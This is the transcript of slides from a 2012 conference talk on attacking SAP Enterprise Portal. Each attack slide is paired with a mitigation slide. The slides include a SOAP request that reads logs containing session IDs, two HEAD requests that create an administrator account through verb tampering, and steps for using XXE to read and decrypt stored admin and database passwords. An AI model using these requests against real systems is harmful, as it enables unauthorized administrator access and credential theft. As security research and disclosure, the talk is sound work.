Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Breaking SAP portal (DeepSec)

667 views

Published on

Dmitry Chastukhin, Director of security consulting at ERPScan, speaks at Deepsec Conference 2012 on SAP Security.
SAP is the most popular business application. There are more than one hundred eighty thousand installations all over the world. But people spend enormous amounts of money to install it and then forget about security. In ERP systems, all business processes are performed, all critical information is stored.
The presentation describes how SAP Portal works and kinds of attacks it can be exposed to.

  • Login to see the comments

  • Be the first to like this

Breaking SAP portal (DeepSec)

  1. 1. Invest  in  security   to  secure  investments   Breaking  SAP  Portal   Alexander  Polyakov  CTO  ERPScan   Dmitry  Chastuchin  -­‐  Principal  Researcher  ERPScan  
  2. 2. About  ERPScan   •  The   only   360-­‐degree   SAP   Security   solu8on   -­‐   ERPScan   Security   Monitoring  Suite  for  SAP   •  Leader  by  the  number  of  acknowledgements  from  SAP  (  150+  )   •  60+  presentaHons  key  security  conferences  worldwide   •  25  Awards  and  nominaHons   •  Research  team  -­‐  20  experts  with  experience  in    different  areas   of  security   •  Headquarters  in  Palo  Alto  (US)  and  Amsterdam  (EU)       2  
  3. 3. Agenda     •  Say  hello  to  SAP  Portal   •  Breaking  Portal  through  SAP  Services   •  Breaking  Portal  through  J2EE  Engine   •  Breaking  Portal  through  Portal  issues   •  Conclusion   3  
  4. 4. SAP   •  The  most  popular  business  applica8on   •  More  than  180000  customers  worldwide     •  74%  of  Forbes  500  run  SAP   4  
  5. 5. Meet  sapscan.com   hUp://erpscan.com/wp-­‐content/uploads/2012/06/SAP-­‐Security-­‐in-­‐figures-­‐a-­‐global-­‐survey-­‐2007-­‐2011-­‐final.pdf     5  
  6. 6. Say  hello  to  Portal   •  Point  of  web  access  to  SAP  systems   •  Point  of  web  access  to  other  corporate  systems   •  Way  for  aUackers  to  get  access  to  SAP  from  the  Internet   •  ~17  Portals  in  Switzerland,  according  to  Shodan   •  ~11  Portals  in  Switzerland,  according  to  Google   6  
  7. 7. EP  architecture   7  
  8. 8. Okay,  okay.  SAP  Portal  is  important,  and  it  has  many   links  to  other  modules.  So  what?   8  
  9. 9. SAP  Management  Console   9  
  10. 10. SAP  Management  Console   •  SAP  MC  provides  a  common  framework  for  centralized  system   management   •  Allowing  to  see  the  trace  and  log  messages   •  Using  JSESSIONID  from  logs,  aUacker  can  log  into  Portal      What  we  can  find  into  logs?     Right!  File  userinterface.log  contains  calculated  JSESIONID   But…aUacker  must  have  creden8al  for  reading  log  file!   Wrong!     10  
  11. 11. SAP  Management  Console   <?xml  version="1.0"?>   <SOAP-­‐ENV:Envelope  xmlns:SOAP-­‐ENV="hUp://schemas.xmlsoap.org/soap/envelope/"  xmlns:xsi="hUp:// www.w3.org/2001/XMLSchema-­‐instance"  xmlns:xs="hUp://www.w3.org/2001/XMLSchema">   <SOAP-­‐ENV:Header>          <sapsess:Session  xmlns:sapsess="hUp://www.sap.com/webas/630/soap/features/session/">          <enableSession>true</enableSession>   </sapsess:Session>   </SOAP-­‐ENV:Header>   <SOAP-­‐ENV:Body>          <ns1:ReadLogFile  xmlns:ns1="urn:SAPControl">                  <filename>j2ee/cluster/server0/log/system/userinterface.log</filename>                  <filter/>                  <language/>                  <maxentries>%COUNT%</maxentries>                  <statecookie>EOF</statecookie>          </ns1:ReadLogFile>   </SOAP-­‐ENV:Body>   </SOAP-­‐ENV:Envelope>   11  
  12. 12. PrevenHon   •       Don’t  use  TRACE_LEVEL  =  3  in  produc8on   systems  or  delete  traces     •       Install  notes  927637  and  1439348             hUp://help.sap.com/saphelp_nwpi71/helpdata/en/ d6/49543b1e49bc1fe10000000a114084/frameset.htm     12  
  13. 13. Single-­‐Sign  On   13  
  14. 14. SSO  (old  but  sHll  works)   •  SAP  implements  SSO  using  the  Header  Variable  Login  Module   creden8als   check   okay   cookie   AUacker   header_auth   cookie   tnx  Mariano  ;)     14  
  15. 15. PrevenHon   •   Implement  proper  network  filters  to  avoid  direct   connec8ons  to  SAP     •   J2EE  Engine.  If  you  use  it  for  Windows  authen8ca8on,   switch  to  SPNegoLoginModule   hUp://help.sap.com/saphelp_nw73ehp1/helpdata/en/d0/ a3d940c2653126e10000000a1550b0/frameset.htm     15  
  16. 16. SAP  NetWeaver  J2EE   16  
  17. 17. Access  control      Web  Dynpro                                          -­‐  programma8c      Portal  iViews                                        -­‐  programma8c      J2EE  Web  apps                                -­‐  declara8ve   ProgrammaHc     By  UME   DeclaraHve       By  WEB.XML   17  
  18. 18. DeclaraHve  access  control   •  The  central  en8ty  in  the  J2EE  authoriza8on  model  is  the  security   role.   •  Programmers  define  the  applica8on-­‐specific  roles  in  the  J2EE   deployment  descriptor   web.xml      web-­‐j2ee-­‐engine.xml   18  
  19. 19. 19   Verb  Tampering  
  20. 20. web.xml   <servlet>          <servlet-­‐name>Cri8calAc8on</servlet-­‐name>          <servlet-­‐class>com.sap.admin.Cri8cal.Ac8on</servlet-­‐class>           </servlet>   <servlet-­‐mapping>              <servlet-­‐name>Cri8calAc8on</</servlet-­‐name>              <url-­‐paUern>/admin/cri8cal</url-­‐paUern>      </servlet-­‐mapping   <security-­‐constraint>   <web-­‐resource-­‐collec8on>   <web-­‐resource-­‐name>Restrictedaccess</web-­‐resource-­‐name>   <url-­‐paUern>/admin/*</url-­‐paUern>   <hUp-­‐method>GET</hUp-­‐method>   </web-­‐resource-­‐collec8on>   <auth-­‐constraint>            <role-­‐name>administrator</role-­‐name>    </auth-­‐constraint>   </security-­‐constraint>   20  
  21. 21. Verb  Tampering     •  If  we  are  trying  to  get  access  to  an  applica8on  using  GET  –  we   need  a  login:pass  and  administrator  role   •  What  if  we  try  to  get  access  to  applica8on  using  HEAD  instead   GET?   •  PROFIT!   •  Did  U  know  about  ctc?   21  
  22. 22. Verb  Tampering     Need  Admin  account  in  SAP  Portal?     Just  send  two  HEAD  requests     •  Create  new  user  blabla:blabla     HEAD  /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla       •  Add  user  blabla  to  group  Administrators     HEAD  /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;ADD_USER_TO_GROUP;USERNAME=blabla,GROUPNAME=Administrators       Works  when  UME  uses  JAVA  database       22  
  23. 23. PrevenHon   • Install  SAP  notes  1503579,1616259     • Install  other  SAP  notes  about  Verb  Tampering       • Scan  applica8ons  with  ERPScan  WEB.XML  checker     • Disable  the  applica8ons  that  are  not  necessary     23  
  24. 24. 24   Invoker  servlet  
  25. 25. web.xml   <servlet>          <servlet-­‐name>Cri>calAc>on</servlet-­‐name>          <servlet-­‐class>com.sap.admin.Cri>cal.Ac>on</servlet-­‐class>           </servlet>   <servlet-­‐mapping>              <servlet-­‐name>Cri>calAc>on</</servlet-­‐name>              <url-­‐paBern>/admin/cri>cal</url-­‐paBern>      </servlet-­‐mapping   <security-­‐constraint>   <web-­‐resource-­‐collec>on>   <web-­‐resource-­‐name>Restrictedaccess</web-­‐resource-­‐name>   <url-­‐paBern>/admin/*</url-­‐paBern>   <hBp-­‐method>GET</hBp-­‐method>   <hBp-­‐method>HEAD</hBp-­‐method>   </web-­‐resource-­‐collec>on>   <auth-­‐constraint>            <role-­‐name>administrator</role-­‐name>    </auth-­‐constraint>   </security-­‐constraint>   GET  /admin/cri8cal/Cri>calAc>on   GET  /servlet/com.sap.admin.Cri8cal.Ac8on   25  
  26. 26. Invoker  Servlet   •  Want  to  execute  an  OS  command  on  J2EE  server  remotely?   •  Maybe  upload  a  backdoor  in  a  Java  class?   •  Or  sniff  all  traffic  ?   SHll  remember  ctc?   26  
  27. 27. Invoker  Servlet   27  
  28. 28. PrevenHon   •   Update  to  the  latest  patch  1467771,  1445998     • “EnableInvokerServletGlobally”    must  be  “false”       •   Check  all  WEB.XML  files  with  ERPScan  WEBXML   checker     28  
  29. 29. So,  where  is  Portal?   29  
  30. 30. SAP  Portal   •  User  access  rights  to  objects  are  in  the  Portal  Content  Directory   (PCD)   •  Based  on  ACL   •  2  types  of  access:   –  (design  8me)  for  administrators   –  (run8me)  for  users   30  
  31. 31. Portal    Permission  Levels   31  
  32. 32. End  User  permission   The  objects  where  end  user  permission  is  enabled  affect  the   following  areas  in  Portal:   –  All  Portal  Catalog  obj  with  end  user  permission     –  Authorized  Portal  users  may  access  restricted      Portal  components  by  URL  if  they  are  granted  permission  in  the   appropriate  security  zone.   32  
  33. 33. Administrator  permission   •  Owner  =  full  control  +  modify  permissions   •  Full  control  =  read/write  +  delete  obj   •  Read/Write  =  read+write+edit  proper8es+  add/rem  child   •  Write  (folders  only)  =  create  objects   •  Read  =  view  obj+create  instances        (delta  links  and  copies)   •  None  =  access  not  granted   33  
  34. 34. Role  Assigner  permission   •  The  Role  Assigner  permission  seyng  is  available  for  role  objects   •  It  allows  you  to  determine  which  Portal  users  are  permiUed  to   assign  other  users,  groups,  or  roles  to  the  role  principle  using   the  Role  Assignment  tool   34  
  35. 35. Security  Zones     •  Security  zones  allow  the  system  administrator  to  control  which   Portal  components  and  Portal  services  a  Portal  user  can  launch   •  A  security  zone  specifies  the  vendor  ID,  the  security  area,  and   safety  level  for  each  Portal  component  and  Portal  service   35   Why?  To  group  mul>ple  iViews  easily   like  files  in  directories    
  36. 36. Security  Zones     •  The  security  zone  is  defined  in  a  Portal  applica8on  descriptor   XML  file  portalapps.xml   •  A  Portal  component  or  service  can  only  belong  to  one  security   zone   •  Zones  allows  the  administrator  to  assign  permissions  to  a  safety   level,  instead  of  assigning  them  directly   36   Why?  To  group  mul>ple  iViews  easily   like  files  in  directories    
  37. 37. 37   We  can  get  access  to  Portal   iViews    using  direct  URL:     /irj/servlet/prt/portal/prtroot/<iView_ID>     And  only  Security  Zone  rights  will  be  checked    
  38. 38. Security  Zones     •  So,  SecZones  offer  an  extra,  but  op8onal,  layer  of  code-­‐level   security  to  iViews   –  User-­‐>  check  ”end  user”  permission  to  the  role-­‐>  view  iView   –  User-­‐>  check  ”end  user”  permission  to  the  role-­‐>  check  ”end   user”  permission  to  the  SecZone  -­‐>  view  iView     By  default,  this  func8onality  is  disabled   38  
  39. 39. 39   So  I  wonder  how  many  Portal   applica8ons  with  NoLow  Safety   exist?  
  40. 40. Safety  Levels  for  Security  Zone   •  No  Safety   –  Anonymous  users  are  permiUed  to  access  portal  components  defined  in   the  security  zone.   •  Low  Safety   –  A  user  must  be  at  least  an  authen8cated  portal  user  to  access  portal   components  defined  in  the  security  zone.   •  Medium  Safety   –  A  user  must  be  assigned  to  a  par8cular  portal  role  that  is  authorized  to   access  portal  components  defined  in  the  security  zone   •  High  Safety   –  A  user  must  be  assigned  to  a  portal  role  with  higher  administra8ve  rights   that  is  authorized  to  access  portal  components  defined  in  the  security   zone.   40  
  41. 41.  Zones  with  no  safety   Many  custom  applica8ons  with  low  security  level  zone   41  
  42. 42. PrevenHon   Check  security  zones  permissions     • hUp://help.sap.com/saphelp_nw70/helpdata/en/25/85de55a94c4b5fa7a2d74e8ed201b0/frameset.htm   • hUp://help.sap.com/saphelp_nw70/helpdata/en/f6/2604db05fd11d7b84200047582c9f7/frameset.htm   42  
  43. 43. SAP  Portal   •  Web  based  services   •  All  OWASP  TOP10  actual     –  XSS   –  Phishing   –  Traversal   –  XXE   –  …     43  
  44. 44. 44   EPCF  
  45. 45. XSS   •  Many  XSSs  in  Portal   •  But  some8mes  “hUponly”   •  But  when  we  exploit  XSS,  we  can  use  the  features  of  SAP  Portal   45  
  46. 46. EPCF          EPCF  provides  a  JavaScript  API  designed  for  the  client-­‐side   communica8on  between  portal  components  and  the  portal   core  framework   •  Enterprise  Portal  Client  Manager  (EPCM)   •  iViews  can  access  the  EPCM  object  from  every  portal  page   or  IFrame   •  Every  iView  contains  the  EPCM  object   •  For  example,  EPCF  used  for  transient  user  data  buffer  for   iViews   <SCRIPT>      alert(EPCM.loadClientData("urn:com.sap.myObjects",  "person");   </SCRIPT>   46  
  47. 47. PrevenHon    Install  SAP  note  1656549   47  
  48. 48. KM  Phishing   SAP  Knowledge  Management  may  be  used  to  create  phishing  pages   48  
  49. 49. 49   FIX  
  50. 50. Directory  traversal   50  
  51. 51. Directory  traversal  fix  bypass   51  
  52. 52. PrevenHon   Install  SAP  note  1630293   52  
  53. 53. 53   Cut  the  Crap,    Show  Me  the  Hack  
  54. 54. Breaking  SAP  Portal   •  Found  a  file  in  the  OS  of  SAP  Portal  with  the  encrypted   passwords  for  administra8on  and  DB   •  Found  a  file  in  the  OS  of  SAP  Portal  with  keys  to  decrypt   passwords   •  Found  a  vulnerability  (another  one  ;))  which  allows  reading  the   files  with  passwords  and  keys   •  Decrypt  passwords  and  log  into  Portal   •  PROFIT!   54  
  55. 55. Read  file    How  we  can  read  the  file?     –  Directory  Traversal   –  OS  Command  execute     –  XML  External  En8ty  (XXE)   55  
  56. 56. XXE  in  Portal   56  
  57. 57. XXE  in  Portal   57  
  58. 58. XXE   Error  based  XXE   58  
  59. 59. Breaking  SAP  Portal   •  Ok,  we  can  read  files   •  Where  are  the  passwords?   •  The  SAP  J2EE  Engine  stores  the  database  user  SAP<SID>DB;  its   password  is  here:   usrsap<SID>SYSglobalsecuritydataSecStore.proper>es     59  
  60. 60. Where  are  the  passwords?  (config.proper4es)    rdbms.maximum_connec8ons=5   system.name=TTT   secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/ SecStore.key   secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/ SecStore.proper8es   secstorefs.lib=/oracle/TTTsapmnt/global/security/lib   rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ ojdbc14.jar   rdbms.connec8on=jdbc/pool/TTT   rdbms.ini8al_connec8ons=1   60  
  61. 61. Where  are  the  passwords?  (config.proper4es)    rdbms.maximum_connec8ons=5   system.name=TTT   secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key   secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es   secstorefs.lib=/oracle/TTTsapmnt/global/security/lib   rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar   rdbms.connec8on=jdbc/pool/TTT   rdbms.ini8al_connec8ons=1   61  
  62. 62. 62   But  where  is  the  key?  
  63. 63. SecStore.properHes   63   $internal/version=Ni4zFF4wMSeaseforCCMxegAfx   admin/host/TTT=7KJuOPPs/+u +14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS   admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp +QD04b0Fh   jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH   admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ   $internal/check=BJRrz€eUA+bw4XCzdz16zX78u•t   $internal/mode=encrypted   admin/user/TTT=7KJuOPPs/+u +14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E  
  64. 64. config.properHes    rdbms.maximum_connec8ons=5   system.name=TTT   secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key   secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es   secstorefs.lib=/oracle/TTTsapmnt/global/security/lib   rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar   rdbms.connec8on=jdbc/pool/TTT   rdbms.ini8al_connec8ons=1   64  
  65. 65. Get  the  password   •  We  have  an  encrypted  password   •  We  have  a  key  to  decrypt  it   We  got  the  J2EE  admin  and  JDBC  login:password!   65  
  66. 66. PrevenHon   •   Install  SAP  note  1619539   •   Restrict  read  access  to  files   SecStore.proper>es  and  SecStore.key   66  
  67. 67. Portal  post  exploitaHon   •  Lot  of  links  to  other  systems  in  corporate  LAN   •  Using  SSRF,  aUackers  can  get  access  to  these  systems   What  is  SSRF?   67  
  68. 68. SSRF  History:  Basics   •  We  send  Packet  A  to  Service  A   •  Service  A  ini8ates  Packet  B  to  service  B   •  Services  can  be  on  the  same  or  different  hosts   •  We  can  manipulate  some  fields  of  packet  B  within  packet  A   •  Various  SSRF  aUacks  depend  on  how  many  fields  we  can   control  on  packet  B     Packet  A   Packet  B   68  
  69. 69. ParHal  Remote  SSRF:     HTTP  afacks  on  other  services   HTTP  Server    Corporate   network   Direct  aUack      GET  /vuln.jsp     SSRF  AUack     SSRF  AUack     Get  /vuln.jst     A   B   69  
  70. 70. Gopher  uri  scheme   •  Using  gopher://  uri  scheme,  it  is  possible  to  send  TCP  packets   –   Exploit  OS  vulnerabili8es   –   Exploit  old  SAP  applicaHon  vulnerabiliHes     –   Bypass  SAP  security  restric8ons   –   Exploit  vulnerabili8es  in  local  services     More  info  in  our  BH2012  presenta8on:   SSRF  vs.  Business  Cri>cal  Applica>ons   hUp://erpscan.com/wp-­‐content/uploads/2012/08/SSRF-­‐vs-­‐Businness-­‐cri8cal-­‐applica8ons-­‐ whitepaper.pdf   70  
  71. 71. Portal  post-­‐exploitaHon   71  
  72. 72. Conclusion   It  is  possible  to  protect  yourself  from  these  kinds  of  issues,     and  we  are  working  close  with  SAP  to  keep  customers  secure   SAP  Guides   It’s  all  in  your  hands   Regular  security  assessments   ABAP  code  review   Monitoring  technical  security   SegregaHon  of  DuHes   72  
  73. 73. Future  work    Many  of  the  researched  issues  cannot  be  disclosed  now  because   of   our   good   rela>onship   with   SAP   Product   Security   Response   Team,  whom  I  would  like  to  thank  for  coopera>on.  However,  if   you  want  to  be  the  first  to  see  new  aBacks  and  demos,  follow  us   at  @erpscan  and  aBend  future  presenta>ons:     •  December  6  –  BlackHat  (UAE,  Abu  Dhabi)   •  December  13  –  Syscan  360  (Beijing,  China)             73  
  74. 74.     74   Web:    www.erpscan.com   e-­‐mail:    info@erpscan.com                                     TwiBer:  @erpscan        @sh2kerr                @_chipik      

×